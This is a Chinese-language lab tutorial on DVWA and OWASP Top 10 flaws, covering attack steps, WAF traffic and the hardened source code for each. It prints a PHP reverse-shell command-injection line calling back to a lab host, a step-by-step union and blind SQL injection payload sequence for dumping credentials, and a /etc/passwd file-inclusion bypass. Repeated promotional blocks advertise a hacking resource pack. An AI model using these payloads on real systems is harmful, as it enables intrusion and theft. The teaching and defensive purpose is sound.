前言
本次环境以DVWA靶场(不太安全的网站)及CTF题目(夺旗赛)先对OWASP TOP10漏洞原理通俗概述,接着对基础代码解析,然后执行的命令落地到本地复现,前端进行复现后分析流量包,植入CTF题目,最后演示WAF流量经过,以及最高级别代码防护分析包括最终流程图,分析较为详细,对于初学者,网安爱好者及蓝队初级、运维等比较友好,在正常面试安全岗位时,也可能会问到理论问题,安全设备的了解,链路流量的走向,包括HVV蓝队初级最低也会问到常见攻击手法的理解和防护!
注:流程示意图以我本地网络层-应用层传输为例、并非现实通用
Brute Force (爆破)
Command Injection (命令注入)
CSRF (跨站请求伪造)
File Inclusion (文件包含)
File upload (文件上传)
SQL Injection (SQL注入)
SQL Injection (Blind) (SQL盲注)
XSS (反射型XSS)
CROSS XSS (存储型XSS)
文章目录
* 本次学习环境为自行搭建,文章仅用于参考学习,请勿非法操作、后果自负
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
2 环境准备
DVWA搭建-docker
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
WAF搭建-docker
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
各网卡及IP如下
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
CTF(夺旗赛)
通俗来说就是以实际环境中的事件或自发性自编环境,以题目的方式呈现给比赛者去做题。当比赛者通过漏洞或题目要求拿到flag(旗帜)的时候,就算成功,也就是这块的漏洞利用成功
3 思路解析
Brute Force(野蛮的力量)
也称为爆破,拥有账号密码对相应的登录接口进行爆破、或根据网站规则及拿到的一些信息进行"撞库"
危害:爆破成功后任意操作管理员或用户账号,如发送信息,后续渗透,获取敏感信息等
于是,我拿着他的SQL语句替换了user及pass然后进行查询
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码`
前期代码解读完成,然后我们实操,直接burp抓包导入字典爆破
可以看到,当用户名为admin、密码为password的时候与其他包不一样,经过验证,账号密码就是这个,我们此时看抓取的流量包
可以看到,网站并没有进行相应的拦截
如何防守?
我们可以在WEB页面做一些限制比如token,比如对请求IP限制,当然IP可以伪造
防止SQL注入,对传入数据进行处理再或者就是账号密码错误3次后冻结多少分钟,前端输入密码后进行非对称加密等
安全设备就是对频率做限制,匹配字典规则满足后进行自动封禁
接着我们看waf,我给waf定义的规则是当10秒内请求次数高达100次的时候我们进行封禁IP10分钟,当然这个可以调
当我们发送请求包到200多的时候,包长度变了,不是密码错误包长也不是密码正确包长
这时候可以看到,WAF人机判断你的IP可能正在进行爆破或CC攻击,加载出验证码
我们这时候看后台数据,能看到客户端IP做的操作
我们拆解一下最高级别做了哪些防护
第3-5行做了一个token防止CSRF攻击第8-16行对用户的输入做了处理,stripslashes函数去除输入的反斜杠等符号防止SQL注入,然后进行MD5加密
第19-27行先定义此用户的最大失败次数及锁定时间,然后SQL查询此用户是否已超过失败次数及是否超过锁定时间第45-50行验证账号密码是否正确,":user"可以防止SQL注入,limit1只返回一条数据
第60行登录成功则返回该用户的头像并welcome第64行后如果登录失败则提醒登录失败,然后加载2-4秒,防止爆破
接着就是对登录失败次数+1,然后对最后登录失败时间更新``生成一个新的token令牌,防止CSRF
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
Command Injection (命令注入)
命令注入通俗来讲就是开发者对于某些功能需要调用系统命令去执行一些操作,或者是某些代码块因为逻辑上未知造成命令执行、再或者前端某些头部字段可能存在的注入点,而没有对客户端传入的数据进行过滤或固定,造成攻击者可以进行自定义传入命令或绕过传入命令的行为
危害:攻击者拥有了命令执行后就相当于获得了服务器操作权限,攻击者可以根据漏点进行反弹shell以获取服务器shell,然后执行提权,植入后门或者其他危害性操作行为
按照正常业务引导,我们正常输入地址,回显出正常结果
而已知Linux分隔符,我们可以带入其他命令,看下图
可以看到我们使用分号进行分隔,执行了whoami命令,看到了www-data用户,将实际命令带入到Windows和Linux中看一下
接下来我们在网页输入以下命令在前端执行,获取服务器shell
kali: nc -lnvp 8888
网页: 127.0.0.1;php -r '$sock=fsockopen("192.168.150.2",8888);exec("sh <&3 >&3 2>&3");'
在抓取的流量包内输入以下过滤条件看一下流量走向
ip.addr == 192.168.150.2 || ip.addr == 192.168.150.1 && tcp.port != 22
接下来我们看一道CTF题目
如何防守?
可以进行关键字的过滤,对大小写的过滤,对符号的过滤,对编码的过滤后端把此功能固定,前端只能输入相应的格式
在安全设备方面则从流量检测命令执行的特征比如正常的win和Linux的命令,对于编码的检测,对于绕过方式的检测
如:双写,大小写,分隔符等
对WAF进行测试
为了清晰看到WAF流量经过,我们抓取了靶场和WAF的流量对比
在safeline_ce网卡流量包中第一块大概就是网关传入流量,先进行初步过滤,然后容器向后推送
第二块就是对日志进行记录,比如请求包,payload,ID等``第三块就是入库操作,查询操作等
我们拆解一下最高级别做了哪些防护
第4-6行先接收传入进来的IP,接着生成一个TOken防止CSRF攻击第9-10行将接收到的IP赋值给$target然后使用stripslashes函数过滤掉一些字符
第16-18行筛选八位字节是否为数字,验证是否为IP,接着将他重新组合为IP赋值给target第21-28行进行正常ping命令操作,最后在根据相应结果输出
末尾重新生成一个Token
CSRF(跨站请求伪造)
通俗的来讲,某些操作如:更改密码,发布帖子,更新配置等操作,在非本意的情况下,点击了CSRF伪造的按钮功能,在用户已登录的情况下,未知进行的操作
危害:主要目的是对WEB方面的用户及管理员用户进行的操作,比如通过钓鱼的方式诱导点击,对数据进行破坏,数据篡改等,更改用户密码后进行后续攻击等
接着我们按照自己的本意正常流程去修改密码
然后我们使用burp suite抓包生成一个CSRF的包,保存为html文件,在跳板机192.168.150.2开启一个http服务运行点击
这样看可能认为太俗了,但是实战中攻击者会美化页面比如copy钓鱼页面,诱导你点击,我们只是了解大概经过
分析在kali中抓取的流量包以及dvwa抓取的流量包
由于CSRF大多按照Referer和origin来分辨,所以WAF在此拦截识别度不高,从代码块去增加校验可以
如何防护?
限制跨站请求,从标头进行限制对敏感操作进行二次验证,比如验证码
使用CSRF令牌,即为Token``验证Refer头部,来源进行白名单验证
我们拆解一下最高级别做了哪些防护
第3-5行通过GET方式传入后,先生成一个Token令牌防止CSRF攻击第8-10行接收传入进来的旧密码和新密码
第13-21行先进行过滤斜杠类的字符,然后对旧密码进行MD5加密前往数据库查询第24-34行先验证输入的两次密码是否一样然后过滤掉反斜杠之类的字符
接着就算MD5加密后前往数据库更新,此处使用了实例化参数接着将修改成功打印出来,反之修改失败
结尾不管是不是成功,重新生成一个CSRF的令牌
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
File Inclusion(文件包含)
文件包含比较容易理解,即某些功能或者文件,开发者需要读取,但是由于没有对读取文件范围固定,造成了攻击者可以进行任意文件读取或任意文件包含
危害:攻击者得到任意文件读取漏洞后可以读取服务器上所有文件,以方便下一步的攻击渗透,或搭配文件上传组合拳或反弹shell组合拳等方式进行利用
这里不得不提几个常见的绕过方法,看下图
如何防守?
对读取文件固定如:(白名单)if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" )
对传入协议进行限制(此处仅为限制远程文件读取)``对递归路径和编码做黑名单处理,或者白名单处理
CTF题目环境
接着我们测试WAF的流量
然后我们看一下后面的代码做了哪些限制
最高级8-11行做了固定文件,如果传入不是此文件名,则不通过高级23-26行匹配是否"file"开头,如果file开头或者file参数为include.php则为真
此处使用file:///etc/passwd 仍然可以绕过而中级38-39行只限制了http和https协议(远程文件读取)
以及递归目录的关键符号``这里仍然可以使用双写及多写的符号绕过
File Upload(文件上传)
通俗点讲就是某功能点,比如上传图片,上传表格,导入授权的功能,由于开发未进行严格过滤所需上传格式,造成攻击者可以进行修改文件格式、类型等任意文件上传,进行后期恶意利用,比如上传木马控制主机等
危害:攻击者通过该漏洞类型上传木马文件后可远程控制主机,达到后期渗透、内网渗透的目的
从功能本意是需要上传图片,但是开发并没有做限制,攻击者可以随意上传任意文件
接着我们看一下下一个级别的文件上传
接着我们在看高级的文件上传代码
我们此时使用以上方法生成一个图片马(这个在溯源的时候和CTF中的MISC有关系)
如何防守?
在代码块我们可以:对文件扩展名前端进行检测后、上传至后端tmp后继续检测
对于文件类型到后端同样检测对于文件大小限制苛刻
不返回文件路径对文件名进行无规则重命名
在某些地方我们前端可以生成唯一session(从浏览器上传开始)一个session只能用一次对于安全设备:
在流量中检测扩展名,文件类型,上传的路径``对于文件内容中的编码进行检测
CTF题目
接着我们测试WAF的流量走向
分析抓取的流量包(docker0 safeline-ce)
我们看一下最高级代码做了哪些处理
第一块3-5行接收来自前端POST上传,生成一个新的Token防止CSRF攻击第二块9-13行对文件名、扩展名、文件大小、类型及临时文件路径预设参数
第三块16-20行设定了文件的路径,对文件重命名以MD5散列规则唯一ID,设定临时文件位置第四块23-26行设定文件扩展名和文件大小为100kb,并且限制文件类型,这些都在后端去做
第五块28-37行验证为图片类型后将创建一个图片文件并将图片文件压缩至100压缩等级为9
弟六块40-47行对临时目录文件重命名并移动至设定好的目录,然后回显
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
SQL Injection(SQL注入)
通俗来讲就是某功能,需要以ID或者姓名去到数据库查询信息,但是开发人员没有数据语句进行规范过滤,没有固定,攻击者可以以此SQL语句进行可控查询,从而获取更多的数据
危害:攻击者通过SQL注入漏洞可以获取数据库内敏感信息,如账号密码、销售记录、存入的更敏感身份信息等、攻击者可以进行后续渗透,或者通过SQL注入配合其他方式漏洞进行写入文件,控制服务器等
我们拿着已知的语句替换掉id去查询,就是看到的结果
SELECT first_name, last_name FROM users WHERE user_id = '$id';
SELECT first_name, last_name FROM users WHERE user_id = '1';
其实我一直糊涂的是单引号的位置或者是为什么加单引号
因为开发前面定义了单引号,否则无单引号,我们也不需要加单引号了SELECT first_name, last_name FROM users WHERE user_id = '1';
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or ‘1=1’;
前后正好为一个完整的SQL语句拼接
输入1' order by 3 #去获取列,#为注释符,将我们输入后面的字符注释掉
当order by 2 #的时候将不在报错,所以为2列
再次执行1' union select 1,2# 此处可以看到列名
1' union select 1,group_concat(schema_name) from information_schema.schemata #来获取所有数据库
这样看不直观,我们带入到数据库看一下
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(schema_name) from information_schema.schemata # ;
1' union select 1,version() #获取版本信息``1' union select 1,database() # 获取当前使用数据库
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #查询当前使用库的所有表
1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #查询users表中的所有列
1' union select user,password from dvwa.users #前期步骤已知使用数据库名,表名,列名,直接union查询账号密码
带入到数据库查询
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from dvwa.users #
如何防护?
对查询语句参数化查询最小化权限查询,权限分明
输入验证与过滤,对输入进来的字符大小写编码不合规pass对特殊的所需字符进行白名单处理
对敏感的字符进行报错或重定向处理安全设备方面
对流量监控,一般SQL语句进行pass,当然有些前端可能传输的语句可能会被误报对某些字符:' " /**/ 等进行过滤
对传输进来的可疑编码进行检测后执行下一步动作
CTF题目
接下来我们看WAF流量
我们接着分析最高级别源代码
第3-5行判断GET传入进来ID查询参数,接着生成一个Token令牌,防止CSRF攻击第11-16行判断传入进的ID是否为数字,然后执行查询语句,此处语句进行参数化并只输出1条
此处防止SQL注入然后将查询的ID进行替换绑定
第19-25行先对数据判断是否为1行接着对查询的参数中first_name和last_name进行输出
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
SQL Injection (Blind) (SQL盲注)
SQL盲注通俗来讲:比如登录点或者是导出数据功能点,服务端需要和数据库交互来确定数据是否存在,存在返回ture,不存在返回false,盲注和正常注入区别就是,盲注不回显所需数据,攻击者只能通过某些函数如sleep,ASCII,substr等去判断数据是否存在
危害:攻击者通过SQL注入漏洞可以获取数据库内敏感信息,如账号密码、销售记录、存入的更敏感身份信息等、攻击者可以进行后续渗透,或者通过SQL注入配合其他方式漏洞进行写入文件,控制服务器等
如:zhangsan这个数据存在,但是代码查询到了这个数据,由于功能的设置zhangsan这个存在或不存在只能通过某些状态去显示,比如前端的账号存在或账号不存在
攻击者通过SQL语句构造payload进行sleep(延时)去判断``如数据存在则延时几秒不存在则不延时来达到攻击效果
这样看并不通透,我们看登录页面,当我第一次输入密码123456时302重定向跳转到了登录页面,也就是前端查询到数据库内密码不匹配
但是它功能原因不会输出密码,最多告诉你密码不对或账号不对然后第二次我们输入正确密码后302跳转到了index
也就是此次查验数据库内账号与密码全部符合
经过注入测试,发现存在注入点,且为字符型注入
使用 1’ and length(database())=4#测试到4的时候,看到回显结果,使用数据库长度为4位
判断数据库第一位字符是字母还是数字以及区间1' and ascii(substr(database(),1,1))>97#
1’ and ascii(substr(database(),1,1))<122#``97的ASCII是a,122的ASCII是z,所以字母是小写
继续缩小范围,不嫌麻烦的话可跑脚本1' and ascii(substr(database(),1,1))=100#
当ASCII码位100的时候,返回正确,其他返回错误``当然也可以使用大小于号去判断
继续执行语句1' and ascii(substr(database(),2,1))=118#
1’ and ascii(substr(database(),3,1))=119#从第二个和第三个字符开始截取,分别截取1个字符
最终拼接得到数据库名为dvwa
输入以下语句后得到当前数据库中共有两张表``1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2#
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1#此语句是查询当前数据库中的0和1个记录,就是查第一张表名的长度是否为1,limit限制查询条件
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#``最终得到第一个表名长度为9
同样方法我们查询到第二个表长度为5``1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,2))=5#
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#我们接着使用以上语句查询表名的第一个字母及后续字母进行拼
1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=2#使用以上语句进行查询users表的列数量
1’ and length((select column_name from information_schema.columns where table_name=‘users’ limit 0,1))=1 #猜解users表的第一列的长度
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1)1,1))<97#猜解users表中的第一列的第一个字符修改数值查询后面字符
1’ and ascii(substr((select user from users limit 0,1),1,1))<97#``最终逐一猜解users表中的user和password字符
如何防护?
对查询语句参数化查询最小化权限查询,权限分明
输入验证与过滤,对输入进来的字符大小写编码不合规pass对特殊的所需字符进行白名单处理
对敏感的字符进行报错或重定向处理安全设备方面
对流量监控,一般SQL语句进行pass,当然有些前端可能传输的语句可能会被误报对某些字符:' " /**/ 等进行过滤
对传输进来的可疑编码进行检测后执行下一步动作
看一下WAF流量
看一下最高级别源码
第3-5行判断是否GET传参进来,然后生成一个Token来防止CSRF第11-15行对传入进来的ID进行判断是否为数字
接着进行查询,此处用到参数化查询,防止SQL注入并且Limit限制了只显示1条SQL数据
后面对查询id进行替换与绑定第18-27行线对查询到的数据判断是否为1行接着进行输出
如果不是一行则报错,最后不管对与错再次刷新一个Token令牌
XSS (反射型)
通俗来讲,XSS是因为攻击者在网页中插入的JavaScript恶意脚本,而浏览器只会执行JavaScript并不会去理解是否为恶意,XSS较为常见,基本上在可输入点或者更改数据点中都可能存在XSS,如果开发不进行严格过滤,危害高
危害: XSS危害基本面向用户,比如:反射型XSS会窃取用户信息,cooki身份等,存储型XSS则会持久性停留,XSS还可以钓鱼,会话劫持等,有些攻击者还可通过XSS配合其他漏洞对服务器造成危害
我们在输入框内输入了张三,前端打印出hello,张三
当我们输入后,执行了JavaScript执行了弹窗,弹出1
我们继续利用CSRF配合XSS在用户未知的情况下窃取到cookie信息
准备:XSS在线平台,用于获取用户cookie 跳板机,模拟钓鱼场景
如何防护?
对于用户的输入进行严格过滤字符,编码,符号等进行过滤
在进行开发时不对用户输入的内容进行转义
然后我们看下WAF如何判断
看一下最高级别代码做了什么
第5-7行先判断传入进来的name以及是否为空然后来一个Token防止CSRF
第10行 htmlspecialchars 函数将传入参数不进行转义最后打印输出
第17行不论如何都重新生成一个Token
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
XSS(存储型)
存储型XSS的目的和反射型相同,只不过反射型需要攻击者主动攻击,而存储型攻击者只需插入代码后,利用功能特性,存入到数据库后,其他用户访问功能点时,即可达到被动攻击,一般出现在论坛、博客、或者某些特殊功能点
我正常输入了几个信息,并成功显示出了信息
于是我登录DVWA的其他用户看一下这些信息是否存在
其他用户账号信息
gordonb/abc123
1337/charley
pablo/letmein
smithy/password
然后我们模拟攻击者插入钓鱼XSS链接
插入恶意链接成功,由于JavaScript执行后是看不到正常代码的,我们查询一下mysql中的guestbook表
当有其他人访问的时候,前端因为会查询到guestbook表中指定信息,然后JavaScript自动执行XSS请求,完成无感被动恶意请求
于是我们登录上其他用户名后再次查看在线XSS平台
这里一直出现问题,不知道是不是我网络问题,发不出去请求
如何防护?
对于用户的输入进行严格过滤字符,编码,符号等进行过滤
在进行开发时不对用户输入的内容进行转义
由于存储型和反射型的区别是持久化和一次性的原因,目的一样,WAF拦截也是一样,这里不在抓取流量包分析,直接看最高级别代码
第一块判断POST传参进来,生成一个Token,防止CSRF第二块先对接收到字段进行反斜杠等过滤,然后就是对对象的预处理
然后对输入的值不进行转义23-26行插入数据做了参数化操作,然后对参数做替换和绑定
最后不论成功失败重新生成一个Token
总结
耗时一周时间,从构建思路到复现环境,遇到问题解决问题,适用于网络安全运维人员,相关从业人员复习巩固,及学生未就业,即将面试及护网人员基础,对OWASP TOP10进行详细解析,对漏洞进行通俗概述及阐述危害,接着以DVWA为基础解析基础代码,然后带入本地服务器或数据库进行执行,通俗易懂,然后植入部分CTF题目理解,给出大概防护方法,最后分析WAF的流量经过进行对比,画出该漏洞的流程图(流程图仅适用于本地复现,具体以实际为准)基本围绕应用层-网络层进行流量交互,全文7000余字,全是干货,希望大佬勿喷,各位大佬互相交流讨论
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~